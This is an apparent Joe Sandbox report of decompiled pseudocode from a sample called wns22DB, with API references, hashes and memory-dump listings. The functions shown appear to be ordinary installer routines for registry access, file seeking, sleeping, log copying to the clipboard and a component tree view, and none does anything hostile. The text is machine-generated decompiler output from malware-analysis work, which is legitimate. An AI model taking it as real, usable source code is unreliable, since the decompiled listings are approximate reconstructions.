FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?), ref: 00401F4D

Part of subcall function 00406873: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406884
Part of subcall function 00406873: GetExitCodeProcess.KERNEL32 ref: 004068A6

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: MessageSend$CloseProcesslstrlen$ChangeCodeCreateExitFindHandleNotificationObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 1543427666-0
Opcode ID: 529ccf1531d3671747b453854c2b9f6451904b19556d532ab9f52959be17af81
Instruction ID: acd8761c06f5a0ec48b5b4c4c323a9df4587fdbfc486ef5c68e798776a33b5ab
Opcode Fuzzy Hash: 529ccf1531d3671747b453854c2b9f6451904b19556d532ab9f52959be17af81
Instruction Fuzzy Hash: 37F09632906011D7CB20FBA189485DE77A49F40318B24417BF501B21D1CB7C4D419A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406255(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E004061DA(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegOpenKeyExW(_t7, _a8, 0, _a12, _a16); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x0040625f
0x00406266
0x00406279
0x00000000
0x00406279
0x0040626a
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,0043E708,?,?,004062E3,0043E708,00000000,?,?,ExecToStack,?), ref: 00406279

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Uniqueness

Uniqueness Score: -1.00%

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040345D(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x0040346b
0x00403471

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004014D7(intOrPtr __edx) {
				long _t3;
				void* _t7;
				intOrPtr _t10;
				void* _t13;

				_t10 = __edx;
				_t3 = E00402C1F(_t7);
				 *((intOrPtr*)(_t13 - 0x4c)) = _t10;
				if(_t3 <= 1) {
					_t3 = 1;
				}
				Sleep(_t3); // executed
				 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t13 - 4));
				return 0;
			}

0x004014d7
0x004014d8
0x004014e1
0x004014e4
0x004014e8
0x004014e8
0x004014ea
0x00402ac8
0x00402ad4

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7d34772e4df8165faff662bafa2a5a1c28cb08ab8f088d5ba6396c18c772b027
Instruction ID: e0a3bfc36f3dfc6bb6130a16f4dffa22c10a56fe276d2b1e6be5e96d60bf041c
Opcode Fuzzy Hash: 7d34772e4df8165faff662bafa2a5a1c28cb08ab8f088d5ba6396c18c772b027
Instruction Fuzzy Hash: B2D05E73E142408BD710DBB8BA8945E73A8E780319320883BE106F1091E97888824A2C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0040558F(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x468224;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E00405523, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E0040640A(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x446728;
								_v44 = 0x8000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x46820c == _t156) {
							ShowWindow( *0x470248, 8);
							if( *0x4702ec == _t156) {
								E00405450( *((intOrPtr*)( *0x43e700 + 0x34)), _t156);
							}
							E00404338(_t171);
							goto L25;
						}
						 *0x43a6f8 = 2;
						E00404338(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E004043C6(_a8, _a12, _a16);
						}
						ShowWindow( *0x468210, _t156);
						ShowWindow(_t169, 8);
						E00404394(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x470254;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x468210 = GetDlgItem(_a4, 0x403);
				 *0x468208 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x468224 = _t134;
				_v8 = _t134;
				E00404394( *0x468210);
				 *0x468214 = E00404CED(4);
				 *0x46822c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60);
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E0040435F(_a4);
				if(( *0x47025c & 0x00000003) != 0) {
					ShowWindow( *0x468210, _t156);
					if(( *0x47025c & 0x00000002) != 0) {
						 *0x468210 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E00404394( *0x468208);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x47025c & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x00405597
0x0040559d
0x004055a7
0x004055aa
0x00405740
0x00405764
0x00405764
0x00405777
0x00405795
0x00405797
0x0040579f
0x004057f5
0x004057f9
0x00000000
0x00000000
0x004057fb
0x00405801
0x00000000
0x00000000
0x0040580b
0x00405813
0x00405816
0x00405918
0x00000000
0x00405918
0x00405825
0x00405830
0x00405839
0x00405844
0x00405847
0x00405850
0x00405856
0x00405859
0x00405859
0x00405871
0x0040587a
0x0040587d
0x00405884
0x0040588b
0x00405893
0x00405893
0x004058aa
0x004058aa
0x004058b1
0x004058b7
0x004058c3
0x004058ca
0x004058d3
0x004058d5
0x004058d8
0x004058e7
0x004058ea
0x004058f0
0x004058f1
0x004058f7
0x004058f8
0x004058f9
0x00405901
0x0040590c
0x00405912
0x00405912
0x00000000
0x00405871
0x004057a7
0x004057d7
0x004057df
0x004057ea
0x004057ea
0x004057f0
0x00000000
0x004057f0
0x004057ab
0x004057b5
0x00000000
0x00405779
0x0040577f
0x004057ba
0x00000000
0x004057c3
0x00405788
0x0040578d
0x00405790
0x00000000
0x00405790
0x00405777
0x004055b0
0x004055b4
0x004055bc
0x004055c0
0x004055c3
0x004055c6
0x004055c9
0x004055cc
0x004055cd
0x004055ce
0x004055e7
0x004055ea
0x004055f4
0x00405603
0x0040560b
0x00405613
0x00405618
0x0040561b
0x00405627
0x00405630
0x00405639
0x0040565b
0x00405661
0x00405672
0x00405677
0x00405685
0x00405693
0x00405693
0x00405698
0x004056a6
0x004056a6
0x004056ab
0x004056ae
0x004056b3
0x004056bf
0x004056c8
0x004056d5
0x004056e4
0x004056d7
0x004056dc
0x004056dc
0x004056f0
0x004056f0
0x00405704
0x0040570d
0x00405716
0x00405726
0x00405732
0x00405732
0x00000000

APIs

GetDlgItem.USER32 ref: 004055ED
GetDlgItem.USER32 ref: 004055FC
GetClientRect.USER32 ref: 00405639
GetSystemMetrics.USER32 ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32 ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32 ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32 ref: 0040574F
CreateThread.KERNEL32 ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32 ref: 00405830
GetWindowRect.USER32 ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32 ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32 ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(gD, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (gD${
API String ID: 590372296-3503173740
Opcode ID: 9927c5c04afc45ce7243f23ce83da3be808d830e5e7dac2abc1f2713bef2e627
Instruction ID: c9c6b7b377eba0e4ba3b2f043119a7f49a951143ce35cdb84ba81c9eded025b4
Opcode Fuzzy Hash: 9927c5c04afc45ce7243f23ce83da3be808d830e5e7dac2abc1f2713bef2e627
Instruction Fuzzy Hash: F9B16A71800608FFDB11AFA0DD89AAE7B79FB48314F10817AFA45B61A0DB744E51DF68

Uniqueness

Uniqueness Score: -1.00%

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00404DCC(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed char* _v28;
				long _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				signed char* _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t192;
				intOrPtr _t195;
				long _t201;
				signed int _t205;
				signed int _t216;
				void* _t219;
				void* _t220;
				int _t226;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t239;
				signed int _t241;
				signed char _t242;
				signed char _t248;
				void* _t252;
				void* _t254;
				signed char* _t270;
				signed char _t271;
				long _t276;
				int _t282;
				signed int _t283;
				long _t284;
				signed int _t287;
				signed int _t294;
				signed char* _t302;
				struct HWND__* _t306;
				int _t307;
				signed int* _t308;
				int _t309;
				long _t310;
				signed int _t311;
				void* _t313;
				long _t314;
				int _t315;
				signed int _t316;
				void* _t318;

				_t306 = _a4;
				_v12 = GetDlgItem(_t306, 0x3f9);
				_v8 = GetDlgItem(_t306, 0x408);
				_t318 = SendMessageW;
				_v20 =  *0x470288;
				_t282 = 0;
				_v24 =  *0x470254 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t285 = _a16;
					} else {
						_a12 = _t282;
						_t285 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t285;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t285 + 4)) == 0x408) {
							if(( *0x47025d & 0x00000002) != 0) {
								L41:
								if(_v16 != _t282) {
									_t231 = _v16;
									if( *((intOrPtr*)(_t231 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, _t282,  *(_t231 + 0x5c));
									}
									_t232 = _v16;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe39) {
										_t285 = _v20;
										_t233 =  *(_t232 + 0x5c);
										if( *((intOrPtr*)(_t232 + 0xc)) != 2) {
											 *(_t233 * 0x4018 + _t285 + 8) =  *(_t233 * 0x4018 + _t285 + 8) & 0xffffffdf;
										} else {
											 *(_t233 * 0x4018 + _t285 + 8) =  *(_t233 * 0x4018 + _t285 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t285 = 0 | _a8 != 0x00000413;
								_t239 = E00404D1A(_v8, _a8 != 0x413);
								_t311 = _t239;
								if(_t311 >= _t282) {
									_t88 = _v20 + 8; // 0x8
									_t285 = _t239 * 0x4018 + _t88;
									_t241 =  *_t285;
									if((_t241 & 0x00000010) == 0) {
										if((_t241 & 0x00000040) == 0) {
											_t242 = _t241 ^ 0x00000001;
										} else {
											_t248 = _t241 ^ 0x00000080;
											if(_t248 >= 0) {
												_t242 = _t248 & 0x000000fe;
											} else {
												_t242 = _t248 | 0x00000001;
											}
										}
										 *_t285 = _t242;
										E0040117D(_t311);
										_a12 = _t311 + 1;
										_a16 =  !( *0x47025c) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t285 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, _t282, _t282);
							}
							if(_a8 == 0x40b) {
								_t219 =  *0x44670c;
								if(_t219 != _t282) {
									ImageList_Destroy(_t219);
								}
								_t220 =  *0x446720;
								if(_t220 != _t282) {
									GlobalFree(_t220);
								}
								 *0x44670c = _t282;
								 *0x446720 = _t282;
								 *0x4702c0 = _t282;
							}
							if(_a8 != 0x40f) {
								L88:
								if(_a8 == 0x420 && ( *0x47025d & 0x00000001) != 0) {
									_t307 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t307);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t307);
								}
								goto L91;
							} else {
								E004011EF(_t285, _t282, _t282);
								_t192 = _a12;
								if(_t192 != _t282) {
									if(_t192 != 0xffffffff) {
										_t192 = _t192 - 1;
									}
									_push(_t192);
									_push(8);
									E00404D9A();
								}
								if(_a16 == _t282) {
									L75:
									E004011EF(_t285, _t282, _t282);
									_v32 =  *0x446720;
									_t195 =  *0x470288;
									_v60 = 0xf030;
									_v20 = _t282;
									if( *0x47028c <= _t282) {
										L86:
										InvalidateRect(_v8, _t282, 1);
										if( *((intOrPtr*)( *0x46821c + 0x10)) != _t282) {
											E00404CD5(0x3ff, 0xfffffffb, E00404CED(5));
										}
										goto L88;
									}
									_t308 = _t195 + 8;
									do {
										_t201 =  *((intOrPtr*)(_v32 + _v20 * 4));
										if(_t201 != _t282) {
											_t287 =  *_t308;
											_v68 = _t201;
											_v72 = 8;
											if((_t287 & 0x00000001) != 0) {
												_v72 = 9;
												_v56 =  &(_t308[4]);
												_t308[0] = _t308[0] & 0x000000fe;
											}
											if((_t287 & 0x00000040) == 0) {
												_t205 = (_t287 & 0x00000001) + 1;
												if((_t287 & 0x00000010) != 0) {
													_t205 = _t205 + 3;
												}
											} else {
												_t205 = 3;
											}
											_v64 = (_t205 << 0x0000000b | _t287 & 0x00000008) + (_t205 << 0x0000000b | _t287 & 0x00000008) | _t287 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t287 >> 0x00000005 & 0x00000001) + 1, _v68);
											SendMessageW(_v8, 0x113f, _t282,  &_v72);
										}
										_v20 = _v20 + 1;
										_t308 =  &(_t308[0x1006]);
									} while (_v20 <  *0x47028c);
									goto L86;
								} else {
									_t309 = E004012E2( *0x446720);
									E00401299(_t309);
									_t216 = 0;
									_t285 = 0;
									if(_t309 <= _t282) {
										L74:
										SendMessageW(_v12, 0x14e, _t285, _t282);
										_a16 = _t309;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v24 + _t216 * 4)) != _t282) {
											_t285 = _t285 + 1;
										}
										_t216 = _t216 + 1;
									} while (_t216 < _t309);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L91;
						} else {
							_t226 = SendMessageW(_v12, 0x147, _t282, _t282);
							if(_t226 == 0xffffffff) {
								goto L91;
							}
							_t310 = SendMessageW(_v12, 0x150, _t226, _t282);
							if(_t310 == 0xffffffff ||  *((intOrPtr*)(_v24 + _t310 * 4)) == _t282) {
								_t310 = 0x20;
							}
							E00401299(_t310);
							SendMessageW(_a4, 0x420, _t282, _t310);
							_a12 = _a12 | 0xffffffff;
							_a16 = _t282;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v32 = 0;
					_v16 = 2;
					 *0x4702c0 = _t306;
					 *0x446720 = GlobalAlloc(0x40,  *0x47028c << 2);
					_t252 = LoadBitmapW( *0x470240, 0x6e);
					 *0x446714 =  *0x446714 | 0xffffffff;
					_t313 = _t252;
					 *0x44671c = SetWindowLongW(_v8, 0xfffffffc, E004053C4);
					_t254 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x44670c = _t254;
					ImageList_AddMasked(_t254, _t313, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x44670c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t313);
					_t314 = 0;
					do {
						_t260 =  *((intOrPtr*)(_v24 + _t314 * 4));
						if( *((intOrPtr*)(_v24 + _t314 * 4)) != _t282) {
							if(_t314 != 0x20) {
								_v16 = _t282;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, _t282, E0040640A(_t282, _t314, _t318, _t282, _t260)), _t314);
						}
						_t314 = _t314 + 1;
					} while (_t314 < 0x21);
					_t315 = _a16;
					_t283 = _v16;
					_push( *((intOrPtr*)(_t315 + 0x30 + _t283 * 4)));
					_push(0x15);
					E0040435F(_a4);
					_push( *((intOrPtr*)(_t315 + 0x34 + _t283 * 4)));
					_push(0x16);
					E0040435F(_a4);
					_t316 = 0;
					_t284 = 0;
					if( *0x47028c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t302 = _v20 + 8;
						_v28 = _t302;
						do {
							_t270 =  &(_t302[0x10]);
							if( *_t270 != 0) {
								_v60 = _t270;
								_t271 =  *_t302;
								_t294 = 0x20;
								_v84 = _t284;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t294;
								_v40 = _t316;
								_v68 = _t271 & _t294;
								if((_t271 & 0x00000002) == 0) {
									if((_t271 & 0x00000004) == 0) {
										 *( *0x446720 + _t316 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v84);
									} else {
										_t284 = SendMessageW(_v8, 0x110a, 3, _t284);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t276 = SendMessageW(_v8, 0x1132, 0,  &_v84);
									_v32 = 1;
									 *( *0x446720 + _t316 * 4) = _t276;
									_t284 =  *( *0x446720 + _t316 * 4);
								}
							}
							_t316 = _t316 + 1;
							_t302 =  &(_v28[0x4018]);
							_v28 = _t302;
						} while (_t316 <  *0x47028c);
						if(_v32 != 0) {
							L20:
							if(_v16 != 0) {
								E00404394(_v8);
								_t282 = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00404394(_v12);
								L91:
								return E004043C6(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404ddb
0x00404dec
0x00404df1
0x00404df9
0x00404dff
0x00404e07
0x00404e15
0x00404e18
0x00405039
0x00405040
0x00405054
0x00405042
0x00405044
0x00405047
0x00405048
0x0040504f
0x0040504f
0x00405060
0x0040506e
0x00405071
0x00405087
0x004050fc
0x004050ff
0x00405101
0x0040510b
0x00405119
0x00405119
0x0040511b
0x00405125
0x0040512b
0x0040512e
0x00405131
0x0040514c
0x00405133
0x0040513d
0x0040513d
0x00405131
0x00405125
0x00000000
0x004050ff
0x0040508c
0x00405097
0x0040509c
0x004050a3
0x004050a8
0x004050ac
0x004050b7
0x004050b7
0x004050bb
0x004050bf
0x004050c3
0x004050d6
0x004050c5
0x004050c5
0x004050cc
0x004050d2
0x004050ce
0x004050ce
0x004050ce
0x004050cc
0x004050da
0x004050dc
0x004050ef
0x004050f2
0x004050f5
0x004050f5
0x004050bf
0x00000000
0x004050ac
0x0040508e
0x00405095
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040514f
0x0040514f
0x00405156
0x004051c7
0x004051cf
0x004051d7
0x004051d7
0x004051e0
0x004051e2
0x004051e9
0x004051ec
0x004051ec
0x004051f2
0x004051f9
0x004051fc
0x004051fc
0x00405202
0x00405208
0x0040520e
0x0040520e
0x0040521b
0x00405371
0x00405378
0x00405395
0x0040539b
0x004053ad
0x004053ad
0x00000000
0x00405221
0x00405223
0x00405228
0x0040522d
0x00405232
0x00405234
